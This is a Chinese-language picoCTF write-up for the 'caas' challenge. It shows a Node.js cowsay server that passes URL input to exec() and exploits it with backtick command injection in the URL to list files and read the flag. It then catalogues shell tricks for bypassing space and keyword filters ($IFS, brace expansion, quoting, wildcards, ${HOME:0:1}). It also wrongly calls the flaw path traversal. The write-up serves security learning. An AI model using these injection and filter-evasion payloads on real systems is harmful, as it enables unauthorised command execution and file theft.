---
# System prepended metadata

title: PicoCTF caas

---

## 首頁(其他picoCTF writeup)
https://hackmd.io/@sunfrancis12/ry_LLAgp3

作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12

## caas
這題十分簡單，進去網頁，他叫我們試試看輸入message

![](https://hackmd.io/_uploads/H1PpWU562.png)

只要我們在網址輸入meassage，他就會顯示我們剛剛的輸入結果

![](https://hackmd.io/_uploads/HJQ-f89p3.png)

來看看題目提供的index.js
```
const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

```

重點在於exec()這個function
```
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout)
```

exec()和eval()可以將()裡的字串當作指令來執行，[詳情看](https://steam.oxxostudio.tw/category/python/basic/builtin-eval-exec.html)
```
exec(`print("HI")`) => print("hi")
```
到這裡我們的目標就很清楚了，就是做path traversal，我們先ls看看，輸入網址如下
```
https://caas.mars.picoctf.net/cowsay/`ls`
```
伺服器端看到的指令會如下
```
exec(`/usr/games/cowsay `ls``)
```
網站結果如下:

![](https://hackmd.io/_uploads/rJpYB85a2.png)

我們只要將falg.txt顯示出來就是答案了，沒錯就是用我們的cat指令
```
https://caas.mars.picoctf.net/cowsay/`cat flag`
```

## 各種花式cat方法

在這題的情況中，伺服器前後端都並未有字元檢查機制，但是我們還是可以學學其他各種神奇的cat方式

### 不用空格的情況下

```
cat<TAB>/flag (僅限網頁輸入)

cat</flag #將flag的內容導向cat 

{cat,/flag} 

cat$IFSflag #IFS = Input Feild Separators (shell語法)
```

```
X=$'cat\x20flag'&&$X OR X=$'cat\x20flag'|$X 
```
#這是shell語法，`$'...'`代表其執行結果，`$a`則是代表變數`a`的value
```
hahaCTF{adasdasdsads} #此為flag.txt的內容

x = $'cat flag.txt' # $x = hahaCTF{adasdasdsads}
```

再使用`&&`後續執行`$X`的結果


---


### 使用禁詞表
假如flag這個單字被禁了，我們還有以下做法:
```
cat f'la'g OR cat f"la"g 

cat f\la\g 

cat f?a? #前提是需要檔案名稱字數(含副檔名) 

cat f* #印出所有f開頭的檔案 
```

```
cat ${HOME:0:1}tmp${HOME:0:1}flag #等同/tmp/flag 
```

`${HOME:0:1}`中的`HOME`是預設的[環境變數](https://zonego.tw/2022/11/29/linux-path/)，儲存使用者的家目錄位址，預設的vlaue為`HOME=/home/{user}`，而`${HOME:0:1}`等同於`"/home/{user}"[0:1]` = `"/"`

可以在終端機輸入`env | grep HOME`

![](https://hackmd.io/_uploads/B1egEP5a2.png)

> 以上指令整理自:
> https://www.youtube.com/watch?v=a5vrGYsKc_A&t=10595s&ab_channel=VulnerableNeko


### 題外話

~~以下結果僅供參考~~

![](https://hackmd.io/_uploads/HJ_kzvc6h.png)

大家無聊的話也可以試試看w
```
cat f`la`g
```

